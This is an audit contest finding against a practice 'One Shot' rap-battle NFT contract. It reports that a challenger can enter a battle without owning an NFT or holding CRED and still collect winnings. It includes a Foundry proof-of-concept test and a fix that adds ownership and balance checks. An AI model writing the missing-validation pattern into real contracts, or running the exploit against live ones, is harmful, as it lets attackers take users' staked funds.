First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

NFT non-owner with no CRED can enter and defeat legitimate NFT holder

dougo

Summary

An EOA who does not hold a OneShot NFT or any CRED tokens can enter into a battle with a legitimate OneShot NFT holder and, if they win the battle, will receive the bet placed by the legitimate OneShot NFT holder.

Vulnerability Details

The functions RapBattle::goOnStageOrBattle and RapBattle::_battle have design or coding flaws which permit a non-NFT holder with no balance of CRED to enter into a rap battle and collect winnings. Neither function validates that the 2nd battle entrant ("challenger") is a legitimate NFT holder or holds enough CRED to cover their bet.

Additionally, the challenger does not have their bet collected in advance or their NFT transferred to the RapBattle contract, as is done for the 1st entrant ("defender").

Severity

High - Impact is high as this would devalue the utility of owning a OneShot NFT as a non-owner can battle and collect winnings. Likelihood is also high as any EOA could execute this attack by calling RapBattle::goOnStageOrBattle.

Tools Used

Visual Studio Code, Foundry, manual review

Proof of Code

  1. Add the following test function to OneShotTest.s.sol:

function testNonOwnerGoOnStageAfterOwnerWithoutNftOrCred()
public
mintRapper
{
// may have to run multiple times to get nonOwner to win
// give user some cred they can use to bet
deal(address(cred), user, 1 ether);
​
// as user, approve NFT & cred and go on stage
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 1 ether);
rapBattle.goOnStageOrBattle(0, 1 ether);
address defender = rapBattle.defender();
assert(defender == address(user));
vm.stopPrank();
​
// as nonOwner, call enter battle using NFT id and amount of cred (which they don't have)
address nonOwner = makeAddr("KoolMoeDee");
vm.startPrank(nonOwner);
uint256 initCredBal = cred.balanceOf(nonOwner);
assert(initCredBal == 0); // validate they hold no cred
rapBattle.goOnStageOrBattle(0, 1 ether);
uint256 finalCredBal = cred.balanceOf(nonOwner);
vm.stopPrank();
​
// if non-owner wins, credBalDiff will be > 0
uint256 credBalDiff = finalCredBal - initCredBal;
assert(credBalDiff > 0);
}

  1. Execute the test until it passes, this could take multiple runs. Passing indicates that the nonOwner was able to collect winnings from a battle.

Recommendations

There are several ways to correct this vulnerability. The approach described below will prevent a non-owner from entering battle and would also prevent an owner with insufficient CRED from entering battle.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(msg.sender == oneShotNft.ownerOf(_tokenId), "caller does not own NFT");
+ require(credToken.balanceOf(msg.sender) >= _credBet, "caller must possess enough CRED to cover bet");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

The comment line preceding the call to RapBattle::_battle, if uncommented, could prevent the challenger from betting an amount of CRED they don't hold as it will revert. However, enforcing this through the require function as shown also allows it to be applied to the defender and is done earlier which will save gas for callers.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.